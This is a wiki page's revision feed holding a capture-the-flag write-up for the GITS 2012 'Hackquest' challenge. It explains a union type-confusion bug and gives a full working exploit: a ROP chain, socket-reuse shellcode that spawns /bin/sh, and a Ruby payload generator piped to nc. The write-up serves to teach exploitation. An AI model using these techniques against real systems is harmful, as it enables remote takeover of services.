<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
		<id>https://fixme.ch/w/index.php?action=history&amp;feed=atom&amp;title=CTF%2Fgits2012teaser%2F3-Hackquest</id>
		<title>CTF/gits2012teaser/3-Hackquest - Revision history</title>
		<link rel="self" type="application/atom+xml" href="https://fixme.ch/w/index.php?action=history&amp;feed=atom&amp;title=CTF%2Fgits2012teaser%2F3-Hackquest"/>
		<link rel="alternate" type="text/html" href="https://fixme.ch/w/index.php?title=CTF/gits2012teaser/3-Hackquest&amp;action=history"/>
		<updated>2026-07-04T06:36:58Z</updated>
		<subtitle>Revision history for this page on the wiki</subtitle>
		<generator>MediaWiki 1.25.1</generator>

	<entry>
		<id>https://fixme.ch/w/index.php?title=CTF/gits2012teaser/3-Hackquest&amp;diff=1376&amp;oldid=prev</id>
		<title>Francois: Created page with &quot;== #3 Hackquest ==  === Question ===  Find the key. (File running at hackquest.ghostintheshellcode.com:7331)&lt;br&gt; Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file...&quot;</title>
		<link rel="alternate" type="text/html" href="https://fixme.ch/w/index.php?title=CTF/gits2012teaser/3-Hackquest&amp;diff=1376&amp;oldid=prev"/>
				<updated>2012-01-08T15:36:59Z</updated>
		
		<summary type="html">&lt;p&gt;Created page with &amp;quot;== #3 Hackquest ==  === Question ===  Find the key. (File running at hackquest.ghostintheshellcode.com:7331)&amp;lt;br&amp;gt; Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;== #3 Hackquest ==&lt;br /&gt;
&lt;br /&gt;
=== Question ===&lt;br /&gt;
&lt;br /&gt;
Find the key. (File running at hackquest.ghostintheshellcode.com:7331)&amp;lt;br&amp;gt;&lt;br /&gt;
Hint: [[Media:9692febb68918a3c5127c56a5320439d.bin.gz|Binary file]]&amp;lt;br&amp;gt;&lt;br /&gt;
Hint: [[Media:1f5d7afa5f3765385a9973e1d500bee7.c|Partial source code]]&lt;br /&gt;
&lt;br /&gt;
=== Solution ===&lt;br /&gt;
&lt;br /&gt;
* Remote system running some sort of text adventure.&lt;br /&gt;
* Hint dropped source code partially (extremely helpful)&lt;br /&gt;
* Hint from irc: look at the items&lt;br /&gt;
* struct ItemInfo contains a union:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;cpp&amp;quot;&amp;gt;&lt;br /&gt;
union&lt;br /&gt;
{&lt;br /&gt;
        void* data;&lt;br /&gt;
        LocationInfo* newLocation;&lt;br /&gt;
        struct ItemInfo* newItem;&lt;br /&gt;
        struct&lt;br /&gt;
        {&lt;br /&gt;
                ActionInfo* actionInfo;&lt;br /&gt;
                char* requiredTarget;&lt;br /&gt;
        } action;&lt;br /&gt;
        struct&lt;br /&gt;
        {&lt;br /&gt;
                char* name;&lt;br /&gt;
                struct ItemInfo* newItem;&lt;br /&gt;
        } namedUnwrap;&lt;br /&gt;
} info;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* magical item:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;cpp&amp;quot;&amp;gt;&lt;br /&gt;
{&amp;quot;a&amp;quot;, &amp;quot;letter addressed to %s&amp;quot;, &amp;quot;...&amp;quot;, NULL, ITEM_NAMED_UNWRAP, {.namedUnwrap = {name, &amp;amp;passwordItem}}}, {NULL, NULL, NULL, NULL, 0, {NULL}}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* use() has an insufficient test:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;cpp&amp;quot;&amp;gt;&lt;br /&gt;
if ((item-&amp;gt;type == ITEM_PERFORM_ACTION) || (item-&amp;gt;type == ITEM_MOVE_TO_LOCATION) ||&lt;br /&gt;
    (item-&amp;gt;type == ITEM_UNWRAP))&lt;br /&gt;
{&lt;br /&gt;
        sendMsg(s, &amp;quot;That item can't have a target.\n&amp;quot;);&lt;br /&gt;
        ok = false;&lt;br /&gt;
}&lt;br /&gt;
else if (!strcasecmp(item-&amp;gt;info.action.requiredTarget, target))&lt;br /&gt;
{&lt;br /&gt;
        sendMsg(s, item-&amp;gt;message);&lt;br /&gt;
        item-&amp;gt;info.action.actionInfo-&amp;gt;func(s);&lt;br /&gt;
        showDesc = item-&amp;gt;info.action.actionInfo-&amp;gt;showDesc;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* if we &amp;quot;use letter on $target&amp;quot;, we can make it call -&amp;gt;func()&lt;br /&gt;
* .requiredTarget aliases with .newItem, which in turn contains a set of pointers, all static -&amp;gt; $target is known&lt;br /&gt;
* -&amp;gt;func aliases with .name&lt;br /&gt;
* the game asks us for our name, and stores this into a 31 byte static buffer&lt;br /&gt;
* whatever we use as name will be used as function address to be called -&amp;gt; we captured control flow&lt;br /&gt;
* ROP ensues:&lt;br /&gt;
* first gadged: pivot stack pointer to area we control (the 256 byte cmd buffer in handleConnection)&lt;br /&gt;
* then mmap an anonymous page RWX to a fixed location -&amp;gt; memory we can write to and run code from, we choose the offset&lt;br /&gt;
* our data is on the stack, which is likely on a random offset -&amp;gt; need to move data from stack buffer to page&lt;br /&gt;
* work around this problem by putting bootstrap shellcode into the static name buffer (see above)&lt;br /&gt;
* bootstrap code copies stack-relative buffer to our page, then transfers control:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;asm&amp;quot;&amp;gt;&lt;br /&gt;
	leal	0x41(%esp),%esi	# calc source from stack offset&lt;br /&gt;
	popl	%edi		# dest addr is already on stack&lt;br /&gt;
	pushl	$0x41		# dest offset so that we don't get overwritten&lt;br /&gt;
	popl	%ecx		# duplicates as length&lt;br /&gt;
	addl	%ecx,%edi	# add offset&lt;br /&gt;
	push	%edi		# store dest for later&lt;br /&gt;
	rep	movsl		# copy&lt;br /&gt;
	popl	%edi		# retrieve old dest&lt;br /&gt;
	jmp	*%edi		# jump there&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* remaining shell code takes socket fd from fixed stack offset and dup2()s to 0, 1, 2, then spawns /bin/sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;asm&amp;quot;&amp;gt;&lt;br /&gt;
	pushl	%ecx		# ecx was cleared by rep above, put 0 on stack&lt;br /&gt;
	movl	0xAB(%esp),%ebx	# get socket fd from stack offset&lt;br /&gt;
1:	&lt;br /&gt;
	pushl	$0x3f		# dup2 syscall number&lt;br /&gt;
	popl	%eax		# into eax&lt;br /&gt;
	int	$0x80		# do syscall&lt;br /&gt;
	inc	%ecx		# inc desc2&lt;br /&gt;
	cmp	$0x3,%cl	# do for 0, 1, 2&lt;br /&gt;
	jne	1b		# repeat&lt;br /&gt;
&lt;br /&gt;
	popl	%ecx		# zero ecx = argv&lt;br /&gt;
	mull	%ecx		# zero eax, edx = env&lt;br /&gt;
        pushl	$0x0068732f	# /sh\0&lt;br /&gt;
        pushl   $0x6e69622f	# /bin&lt;br /&gt;
	movl	%esp,%ebx	# string arg&lt;br /&gt;
	movb	$0xb,%al	# execve syscall number&lt;br /&gt;
	int	$0x80		# magic!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cat key.txt&lt;br /&gt;
&lt;br /&gt;
* all combined, use as (ruby h.rb; cat) | nc host 7331&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;ruby&amp;quot;&amp;gt;&lt;br /&gt;
addr = 0x60606000               # our page address&lt;br /&gt;
src = 0x804c2a0                 # from 0x80498f4&lt;br /&gt;
&lt;br /&gt;
sockoffset = 0xbc&lt;br /&gt;
&lt;br /&gt;
p = [&lt;br /&gt;
     # offset 0&lt;br /&gt;
     &amp;quot;use letter on &amp;quot;,&lt;br /&gt;
     # offset 14&lt;br /&gt;
     0x804a22e, 0x804a2bc, 0x804a2de, 0x804c20c, [0x02, 0x00],&lt;br /&gt;
     # offset 31&lt;br /&gt;
     &amp;quot; &amp;quot; * (0x44 - 32),           # fill&lt;br /&gt;
     # offset 0x44&lt;br /&gt;
     0x80486d4,          # C mmap&lt;br /&gt;
     0x8048db5,          # L add $0x1c,%esp | ret&lt;br /&gt;
     addr,               # (void *addr,&lt;br /&gt;
     4096,               #  size_t len,&lt;br /&gt;
     1 | 2 | 4,          #  int prot = PROT_READ | PROT_WRITE | PROT_EXEC,&lt;br /&gt;
     0x10 | 0x02 | 0x20, #  int flags = MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS,&lt;br /&gt;
     0,                  #  int filedes,&lt;br /&gt;
     0,                  #  off_t off)&lt;br /&gt;
     0,                  # filler, also possibly offset&lt;br /&gt;
     0x80487d4,          # C memcpy&lt;br /&gt;
     addr,               # L addr = shellcode&lt;br /&gt;
     addr,               # (void *dest,&lt;br /&gt;
     src + 4,            #  const void *src,&lt;br /&gt;
     200,                #  size_t n).&lt;br /&gt;
     &lt;br /&gt;
     [&lt;br /&gt;
      0x51,                         # pushl  %ecx    # ecx was cleared by rep above, put 0 on stack&lt;br /&gt;
      0x8b, 0x9c, 0x24], sockoffset, # movl  XXX(%esp),%ebx   # get socket fd from stack offset&lt;br /&gt;
     [0x6a, 0x3f,                   # 1: pushl $0x3f # dup2 syscall number&lt;br /&gt;
      0x58,                         # popl  %eax     # into eax&lt;br /&gt;
      0xcd, 0x80,                   # int   $0x80    # do syscall&lt;br /&gt;
      0x41,                         # inc   %ecx     # inc desc2&lt;br /&gt;
      0x80, 0xf9, 0x03,             # cmp   $0x3,%cl # do for 0, 1, 2&lt;br /&gt;
      0x75, 0xf5,                   # jne   1b       # repeat&lt;br /&gt;
&lt;br /&gt;
      0x59,       # popl  %ecx  # zero ecx = argv&lt;br /&gt;
      0xf7, 0xe1, # mull  %ecx  # zero eax, edx = env&lt;br /&gt;
      0x68, 0x2f, 0x73, 0x68, 0x00, # pushl  0x0068732f  # /sh\0&lt;br /&gt;
      0x68, 0x2f, 0x62, 0x69, 0x6e, # pushl  0x6e69622f  # /bin&lt;br /&gt;
      0x89, 0xe3, # movl  %esp,%ebx  # string arg&lt;br /&gt;
      0xb0, 0x0b, # movb  $0xb,%al   # execve syscall number&lt;br /&gt;
      0xcd, 0x80  # int	$0x80        # magic!&lt;br /&gt;
     ]&lt;br /&gt;
    ]&lt;br /&gt;
&lt;br /&gt;
shellcode = 0xc&lt;br /&gt;
&lt;br /&gt;
# this lives at src&lt;br /&gt;
namelen = 20&lt;br /&gt;
name = [&lt;br /&gt;
        # stack pivot&lt;br /&gt;
        0x08049019,              # add $0x9c,%esp | ret&lt;br /&gt;
&lt;br /&gt;
        # bootstrap shellcode&lt;br /&gt;
        [&lt;br /&gt;
         0x8d, 0x74, 0x24, shellcode, # leal XXX(%esp),%esi&lt;br /&gt;
         0x5f,                    # popl  %edi&lt;br /&gt;
         0x6a, namelen,           # pushl $XXX&lt;br /&gt;
         0x59,                    # popl  %ecx&lt;br /&gt;
         0x01, 0xcf,              # addl  %ecx,%edi&lt;br /&gt;
         0x57,                    # push  %edi&lt;br /&gt;
         0xf3, 0xa5,              # rep movsl&lt;br /&gt;
         0x5f,                    # popl  %edi&lt;br /&gt;
         0xff, 0xe7,              # jmp   *%edi&lt;br /&gt;
        ],&lt;br /&gt;
       ]&lt;br /&gt;
&lt;br /&gt;
all = name +&lt;br /&gt;
  [&lt;br /&gt;
   &amp;quot;\n&amp;quot;,&lt;br /&gt;
   &amp;quot;get can\n&amp;quot;,&lt;br /&gt;
   &amp;quot;use can\n&amp;quot;,&lt;br /&gt;
   &amp;quot;go south\n&amp;quot;,&lt;br /&gt;
   &amp;quot;get letter\n&amp;quot;,&lt;br /&gt;
  ] +&lt;br /&gt;
  p + [&amp;quot;\n&amp;quot;]&lt;br /&gt;
&lt;br /&gt;
def collapse(a)&lt;br /&gt;
  a.map do |e|&lt;br /&gt;
    case e&lt;br /&gt;
    when Numeric&lt;br /&gt;
      [e].pack(&amp;quot;V&amp;quot;)&lt;br /&gt;
    when Array&lt;br /&gt;
      e.pack('C*')&lt;br /&gt;
    else&lt;br /&gt;
      e.to_s&lt;br /&gt;
    end&lt;br /&gt;
  end.join&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
if __FILE__ == $0&lt;br /&gt;
  cp = collapse(all)&lt;br /&gt;
  # puts cp.size&lt;br /&gt;
  print cp&lt;br /&gt;
end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Francois</name></author>	</entry>

	</feed>